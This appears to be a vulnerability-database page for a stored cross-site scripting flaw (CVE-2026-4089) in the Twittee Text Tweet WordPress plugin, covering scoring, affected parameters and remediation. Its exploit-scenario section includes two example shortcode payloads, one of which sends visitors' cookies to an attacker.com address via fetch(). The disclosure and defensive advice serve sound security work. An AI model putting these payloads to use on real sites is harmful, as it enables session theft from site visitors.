Skip to main content

Twittee Text Tweet EUVDEUVD-2026-24654

| CVE-2026-4089 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-04-22 Wordfence
6.4
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain contributor credentials or compromise account
  2. Delivery
    Inject payload in shortcode attribute
  3. Exploit
    Save post/page with malicious shortcode
  4. Execution
    Site visitor accesses page
  5. Persist
    JavaScript executes in visitor context
  6. Impact
    Attacker steals session/performs unauthorized actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must possess WordPress Contributor-level access or higher (PR:L in CVSS vector). This means either a user account with Contributor role or someone who has compromised such an account. The vulnerability only executes when the affected shortcode is placed in post or page content and that content is viewed. Sites with restricted contributor permissions or those that require strict approval workflows before content publication have reduced exploitation risk, but sites with open contributor registration or community members are at higher risk. The default WordPress configuration allows Contributors to edit their own posts and drafts without approval; if those posts are published, the XSS becomes active. No special plugin configuration, enabling/disabling of features, or non-default settings are required - the vulnerability is present in default plugin installation.

Impact

The CVSS score of 6.4 (Medium) with network vector, low complexity, and required low privileges reflects a real but somewhat limited threat. The severity is constrained by the PR:L (Contributor-level access required) requirement, which means attackers must already have a WordPress account or compromise one. However, multiple exploitation signals elevate practical risk: the vulnerability is stored (persists in database), affects all page visitors after injection, and exploits a common WordPress pattern (shortcode misuse). The S:C (Scope Changed) component indicates the attacker can affect confidentiality and integrity of other users' sessions. The UI:N (no user interaction required) is significant - once injected, the XSS executes automatically. The combination of low barrier to entry (Contributor access is common on multisite/community WordPress installations), multiple vulnerable parameters, and the straightforward nature of the exploit makes this a genuine priority for WordPress administrators, particularly on sites with many contributors or open registration. The lack of technical complexity (AC:L) means this is easily exploitable once access is obtained.

Exploit ScenarioDerived

A malicious contributor creates or edits a post containing the shortcode [twittee id='" onload="alert(document.cookie)" data-']' or injects JavaScript into the tweet parameter like [twittee tweet='<script>fetch("https://attacker.com?stolen=" + document.cookie)</script>']. When any site visitor, including site administrators, accesses the post, the injected JavaScript executes in their browser context, allowing the attacker to steal session cookies, perform actions as that user, or redirect to phishing sites. Because the vulnerability is stored in the database, the attack persists indefinitely until manually removed.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 22, 2026

Stored cross-site scripting in Twittee Text Tweet WordPress plugin versions up to 1.0.8 allows authenticated users with Contributor-level access to inject arbitrary JavaScript via unsanitized shortcode attributes. The ttt_twittee_tweeter() function uses extract() to process shortcode parameters and concatenates them directly into HTML and inline JavaScript contexts without escaping, enabling attackers to break out of attribute contexts and inject event handlers that execute against site visitors. The vulnerability affects the 'id', 'tweet', 'content', 'balloon', and 'theme' parameters.

RemediationAI

The primary remediation is to update the Twittee Text Tweet plugin to a patched version if one is available from the plugin developer. If no patch has been released, administrators should immediately disable and remove the plugin from production environments until a security update is provided. As a compensating control, administrators can restrict the capability to use shortcodes to Administrators only (not Contributors) via code-level capability filtering or by using a capability management plugin, though this reduces functionality for legitimate contributors. WordPress administrators should also audit all pages and posts using [twittee] shortcodes to verify no malicious injections exist in the plugin's post meta. To prevent similar issues, enable security plugins that filter shortcode attributes or use a Web Application Firewall (WAF) to block requests containing JavaScript payloads in shortcode parameters. However, these controls are less effective than a patch and should only be interim measures.

Affected VersionsENISA

Twittee Text Tweet 0 ≤1.0.8

Affected Packages

euvd twittee_text_tweet no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from unsafe handling of WordPress shortcode attributes in the ttt_twittee_tweeter() function. The plugin uses PHP's extract() function to convert the $atts array into local variables, then concatenates these directly into HTML markup and inline JavaScript without applying WordPress escaping functions like esc_attr() or wp_json_encode(). The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) occurs because user-supplied shortcode attributes are placed directly into both HTML attribute contexts (id parameter) and JavaScript contexts (tweet, content, balloon, theme parameters) without sanitization or output encoding. This is particularly dangerous for stored XSS because shortcode content is persisted in the WordPress database and executes against every user who views the affected page.

Know when Twittee Text Tweet gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Twittee Text Tweet plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute in all versions up to and including 1.0.8. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. The ttt_twittee_tweeter() function uses extract() to pull shortcode attributes into local variables and then directly concatenates them into HTML output without any escaping. Specifically, the $id parameter is inserted into an HTML id attribute context without esc_attr(), allowing an attacker to break out of the attribute and inject arbitrary HTML event handlers. Additionally, the $tweet, $content, $balloon, and $theme attributes are similarly injected into inline JavaScript without escaping (lines 87, 93, 101, 117). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 99% exploitable
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy